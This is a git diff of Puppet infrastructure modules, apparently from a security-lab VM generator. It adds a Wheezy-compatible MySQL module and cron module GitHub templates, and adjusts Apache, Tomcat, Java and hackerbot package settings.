'/usr/bin/apt-get -y update': } +} +class { 'apt_get_update': + stage => preinstall +} + +include '::mysql::server' \ No newline at end of file diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml new file mode 100644 index 000000000..799fb6f2a --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/secgen_metadata.xml @@ -0,0 +1,33 @@ + + + + MySQL database - Wheezy Compatible + Connor Wilson + David Schmitt + Puppet Labs + Apache v2 + A secure instalation of MySQL + + database + linux + + + https://www.mysql.com/ + https://forge.puppet.com/puppetlabs/mysql/0.6.1/readme + mysql + GPL v2 + + + .*Stretch.* + + + .*Kali.* + + + + mysql + + + \ No newline at end of file diff --git a/modules/services/unix/database/mysql/spec/acceptance/mysql_backup_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_backup_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/mysql_backup_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_backup_spec.rb diff --git a/modules/services/unix/database/mysql/spec/acceptance/mysql_db_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_db_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/mysql_db_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_db_spec.rb diff --git a/modules/services/unix/database/mysql/spec/acceptance/mysql_server_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_server_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/mysql_server_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/mysql_server_spec.rb diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-510-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-510-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-510-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-510-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-59-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-59-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-59-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-59-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-64-x64-pe.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-65-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-65-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/centos-65-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/centos-65-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/default.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/default.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/default.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/default.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/fedora-18-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/fedora-18-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/fedora-18-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/sles-11-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/sles-11-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/sles-11-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/sles-11-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_database_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_database_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_grant_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_grant_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_plugin_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb diff --git a/modules/services/unix/database/mysql/spec/acceptance/types/mysql_user_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/acceptance/types/mysql_user_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/graceful_failures_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/graceful_failures_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/graceful_failures_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/graceful_failures_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mycnf_template_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mycnf_template_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mycnf_template_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mycnf_template_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_bindings_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_bindings_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_bindings_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_bindings_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_client_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_client_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_client_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_client_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_account_security_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_server_account_security_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_backup_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_backup_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_server_backup_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_backup_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_monitor_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_server_monitor_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_mysqltuner_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_server_mysqltuner_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb diff --git a/modules/services/unix/database/mysql/spec/classes/mysql_server_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/classes/mysql_server_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/classes/mysql_server_spec.rb diff --git a/modules/services/unix/database/mysql/spec/defines/mysql_db_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/defines/mysql_db_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/defines/mysql_db_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/defines/mysql_db_spec.rb diff --git a/modules/services/unix/database/mysql/spec/spec.opts b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec.opts similarity index 100% rename from modules/services/unix/database/mysql/spec/spec.opts rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec.opts diff --git a/modules/services/unix/database/mysql/spec/spec_helper.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/spec_helper.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper.rb diff --git a/modules/services/unix/database/mysql/spec/spec_helper_acceptance.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_acceptance.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/spec_helper_acceptance.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_acceptance.rb diff --git a/modules/services/unix/database/mysql/spec/spec_helper_local.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_local.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/spec_helper_local.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/spec_helper_local.rb diff --git a/modules/services/unix/database/mysql/spec/unit/facter/mysql_server_id_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/facter/mysql_server_id_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/facter/mysql_version_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_version_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/facter/mysql_version_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/facter/mysql_version_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_password_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_password_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/functions/mysql_table_exists_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_database_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_database_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_grant_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_grant_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb diff --git a/modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_user_spec.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb similarity index 100% rename from modules/services/unix/database/mysql/spec/unit/puppet/type/mysql_user_spec.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb new file mode 100644 index 000000000..d157af99a --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/meb.cnf.erb @@ -0,0 +1,18 @@ +### MANAGED BY PUPPET ### + +<% @options.sort.map do |k,v| -%> +<% if v.is_a?(Hash) -%> +[<%= k %>] +<% v.sort.map do |ki, vi| -%> +<% if vi == true or v == '' -%> +<%= ki %> +<% elsif vi.is_a?(Array) -%> +<% vi.each do |vii| -%> +<%= ki %> = <%= vii %> +<% end -%> +<% elsif ![nil, '', :undef].include?(vi) -%> +<%= ki %> = <%= vi %> +<% end -%> +<% end -%> +<% end %> +<% end -%> diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb new file mode 100644 index 000000000..7d1f1486b --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.erb @@ -0,0 +1,24 @@ +### MANAGED BY PUPPET ### + +<% @options.sort.map do |k,v| -%> +<% if v.is_a?(Hash) -%> +[<%= k %>] +<% v.sort.map do |ki, vi| -%> +<% if ki == 'ssl-disable' or (ki =~ /^ssl/ and v['ssl-disable'] == true) -%> +<% next %> +<% elsif vi == true or vi == '' -%> +<%= ki %> +<% elsif vi.is_a?(Array) -%> +<% vi.each do |vii| -%> +<%= ki %> = <%= vii %> +<% end -%> +<% elsif ![nil, '', :undef].include?(vi) -%> +<%= ki %> = <%= vi %> +<% end -%> +<% end -%> +<% end %> +<% end -%> + +<% if @includedir and @includedir != '' %> +!includedir <%= @includedir %> +<% end %> diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb new file mode 100644 index 000000000..b82cca3f7 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/my.cnf.pass.erb @@ -0,0 +1,11 @@ +### MANAGED BY PUPPET ### + +<% %w(mysql client mysqldump mysqladmin mysqlcheck).each do |section| %> +[<%= section -%>] +user=root +host=localhost +<% unless scope.lookupvar('mysql::server::root_password') == 'UNSET' -%> +password='<%= scope.lookupvar('mysql::server::root_password') %>' +<% end -%> +socket=<%= @options['client']['socket'] %> +<% end %> diff --git a/modules/services/unix/database/mysql/templates/mysqlbackup.sh.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/mysqlbackup.sh.erb similarity index 100% rename from modules/services/unix/database/mysql/templates/mysqlbackup.sh.erb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/mysqlbackup.sh.erb diff --git a/modules/services/unix/database/mysql/templates/xtrabackup.sh.erb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/xtrabackup.sh.erb similarity index 100% rename from modules/services/unix/database/mysql/templates/xtrabackup.sh.erb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/templates/xtrabackup.sh.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp index 516c966ad..e6349988c 100755 --- a/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp @@ -90,6 +90,7 @@ class apache ( $error_log = $::apache::params::error_log, $scriptalias = $::apache::params::scriptalias, $access_log_file = $::apache::params::access_log_file, + $overwrite_ports = false, # TODO: Implement this as in wheezy apache ) inherits ::apache::params { $valid_mpms_re = $apache_version ? { diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp index 98bbfcb57..0d58fa8a9 100644 --- a/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp @@ -44,7 +44,7 @@ define apache::vhost( $servername = $name, $serveraliases = [], $options = ['Indexes','FollowSymLinks','MultiViews'], - $override = ['None'], + $override = ['All'], $directoryindex = '', $vhost_name = '*', $logroot = $::apache::logroot, diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml b/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml index 5957f3b55..30d64e60b 100644 --- a/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/secgen_metadata.xml @@ -26,6 +26,9 @@ Kali + + Stretch + update diff --git a/modules/services/unix/http/tomcat/tomcat.pp b/modules/services/unix/http/tomcat/tomcat.pp index 5c0369f32..63bead44e 100644 --- a/modules/services/unix/http/tomcat/tomcat.pp +++ b/modules/services/unix/http/tomcat/tomcat.pp @@ -1,6 +1,6 @@ tomcat::install { '/opt/tomcat': - source_url => 'https://www-us.apache.org/dist/tomcat/tomcat-7/v7.0.82/bin/apache-tomcat-7.0.82.tar.gz', + source_url => 'https://www-us.apache.org/dist/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz', } tomcat::instance { 'default': catalina_home => '/opt/tomcat', -} \ No newline at end of file +} diff --git a/modules/utilities/unix/example/requires_ubuntu/manifests/install.pp b/modules/utilities/unix/example/requires_ubuntu/manifests/install.pp new file mode 100644 index 000000000..fcce33972 --- /dev/null +++ b/modules/utilities/unix/example/requires_ubuntu/manifests/install.pp @@ -0,0 +1,5 @@ +class snort::install{ + package { ['snort']: + ensure => 'installed', + } +} diff --git a/modules/utilities/unix/example/requires_ubuntu/manifests/service.pp b/modules/utilities/unix/example/requires_ubuntu/manifests/service.pp new file mode 100644 index 000000000..ccb5b54eb --- /dev/null +++ b/modules/utilities/unix/example/requires_ubuntu/manifests/service.pp @@ -0,0 +1,5 @@ +class snort::service{ + service { 'snort': + ensure => running + } +} \ No newline at end of file diff --git a/modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp b/modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp new file mode 100644 index 000000000..da3ba83e1 --- /dev/null +++ b/modules/utilities/unix/example/requires_ubuntu/requires_ubuntu.pp @@ -0,0 +1,2 @@ +# include snort::install +# include snort::service diff --git a/modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml b/modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml new file mode 100644 index 000000000..e1373d029 --- /dev/null +++ b/modules/utilities/unix/example/requires_ubuntu/secgen_metadata.xml @@ -0,0 +1,18 @@ + + + + Snort IDS + Z. Cliffe Schreuders + Apache v2 + Installs Snort, the popular intrusion detection system (IDS). + + audit_tools + linux + + + bases/ubuntu_xenial_64 + + + diff --git a/modules/utilities/unix/hackerbot/manifests/install.pp b/modules/utilities/unix/hackerbot/manifests/install.pp index b386f8b21..0180669a3 100644 --- a/modules/utilities/unix/hackerbot/manifests/install.pp +++ b/modules/utilities/unix/hackerbot/manifests/install.pp @@ -25,12 +25,12 @@ class hackerbot::install{ group => 'root', } - package { ['nori', 'cinch', 'programr']: + package { ['nori', 'cinch', 'programr','nokogiri']: ensure => 'installed', provider => 'gem', } - package { ['sshpass']: + package { ['zlibc','zlib1g','zlib1g-dev','sshpass']: ensure => 'installed', } diff --git a/modules/utilities/unix/hackerbot/manifests/service.pp b/modules/utilities/unix/hackerbot/manifests/service.pp index 099097b85..3e0c08462 100644 --- a/modules/utilities/unix/hackerbot/manifests/service.pp +++ b/modules/utilities/unix/hackerbot/manifests/service.pp @@ -12,12 +12,5 @@ class hackerbot::service{ service { 'hackerbot': ensure => running, enable => true, - }~> - # reload services (networking needs to be reloaded on the kali virtualbox vm) - exec { 'hackerbot-systemd-reload': - command => 'systemctl daemon-reload; service networking restart; service hackerbot restart', - path => [ '/usr/bin', '/bin', '/usr/sbin' ], - refreshonly => true, } - } diff --git a/modules/utilities/unix/languages/java/manifests/params.pp b/modules/utilities/unix/languages/java/manifests/params.pp index f531a1a68..18ff177db 100644 --- a/modules/utilities/unix/languages/java/manifests/params.pp +++ b/modules/utilities/unix/languages/java/manifests/params.pp @@ -124,7 +124,7 @@ class java::params { }, } } - 'vivid', 'wily': { + 'vivid', 'wily', 'kali-rolling': { $java = { 'jdk' => { 'package' => 'openjdk-8-jdk', diff --git a/modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md b/modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md new file mode 100644 index 000000000..7a0980a9e --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md @@ -0,0 +1,109 @@ +This module has grown over time based on a range of contributions from +people using it. If you follow these contributing guidelines your patch +will likely make it into a release a little more quickly. + +## Contributing + +Please note that this project is released with a Contributor Code of Conduct. +By participating in this project you agree to abide by its terms. +[Contributor Code of Conduct](https://voxpupuli.org/coc/). + +1. Fork the repo. + +1. Create a separate branch for your change. + +1. Run the tests. We only take pull requests with passing tests, and + documentation. + +1. Add a test for your change. Only refactoring and documentation + changes require no new tests. If you are adding functionality + or fixing a bug, please add a test. + +1. Squash your commits down into logical components. Make sure to rebase + against the current master. + +1. Push the branch to your fork and submit a pull request. + +Please be prepared to repeat some of these steps as our contributors review +your code. + +## Dependencies + +The testing and development tools have a bunch of dependencies, +all managed by [bundler](http://bundler.io/) according to the +[Puppet support matrix](http://docs.puppetlabs.com/guides/platforms.html#ruby-versions). + +By default the tests use a baseline version of Puppet. + +If you have Ruby 2.x or want a specific version of Puppet, +you must set an environment variable such as: + + export PUPPET_VERSION="~> 4.2.0" + +Install the dependencies like so... + + bundle install + +## Syntax and style + +The test suite will run [Puppet Lint](http://puppet-lint.com/) and +[Puppet Syntax](https://github.com/gds-operations/puppet-syntax) to +check various syntax and style things. You can run these locally with: + + bundle exec rake lint + bundle exec rake validate + +It will also run some [Rubocop](http://batsov.com/rubocop/) tests +against it. You can run those locally ahead of time with: + + bundle exec rake rubocop + +## Running the unit tests + +The unit test suite covers most of the code, as mentioned above please +add tests if you're adding new functionality. If you've not used +[rspec-puppet](http://rspec-puppet.com/) before then feel free to ask +about how best to test your new feature. + +To run the linter, the syntax checker and the unit tests: + + bundle exec rake test + +To run your all the unit tests + + bundle exec rake spec SPEC_OPTS='--format documentation' + +To run a specific spec test set the `SPEC` variable: + + bundle exec rake spec SPEC=spec/foo_spec.rb + +## Integration tests + +The unit tests just check the code runs, not that it does exactly what +we want on a real machine. For that we're using +[beaker](https://github.com/puppetlabs/beaker). + +This fires up a new virtual machine (using vagrant) and runs a series of +simple tests against it after applying the module. You can run this +with: + + bundle exec rake acceptance + +This will run the tests on the module's default nodeset. You can override the +nodeset used, e.g., + + BEAKER_set=centos-7-x64 bundle exec rake acceptance + +There are default rake tasks for the various acceptance test modules, e.g., + + bundle exec rake beaker:centos-7-x64 + bundle exec rake beaker:ssh:centos-7-x64 + +If you don't want to have to recreate the virtual machine every time you can +use `BEAKER_destroy=no` and `BEAKER_provision=no`. On the first run you will at +least need `BEAKER_provision` set to yes (the default). The Vagrantfile for the +created virtual machines will be in `.vagrant/beaker_vagrant_files`. + +The easiest way to debug in a docker container is to open a shell: + + docker exec -it -u root ${container_id_or_name} bash diff --git a/modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md b/modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md new file mode 100644 index 000000000..593e7aa83 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,26 @@ + + +## Affected Puppet, Ruby, OS and module versions/distributions + +- Puppet: +- Ruby: +- Distribution: +- Module version: + +## How to reproduce (e.g Puppet code you use) + +## What are you seeing + +## What behaviour did you expect instead + +## Output log + +## Any additional information you'd like to impart diff --git a/modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md b/modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..66f80444c --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,8 @@ + diff --git a/modules/utilities/unix/puppet_module/cron/.gitignore b/modules/utilities/unix/puppet_module/cron/.gitignore new file mode 100644 index 000000000..e9b3cf4bc --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/.gitignore @@ -0,0 +1,20 @@ +pkg/ +Gemfile.lock +Gemfile.local +vendor/ +.vendor/ +spec/fixtures/manifests/ +spec/fixtures/modules/ +.vagrant/ +.bundle/ +.ruby-version +coverage/ +log/ +.idea/ +.dependencies/ +.librarian/ +Puppetfile.lock +*.iml +.*.sw? 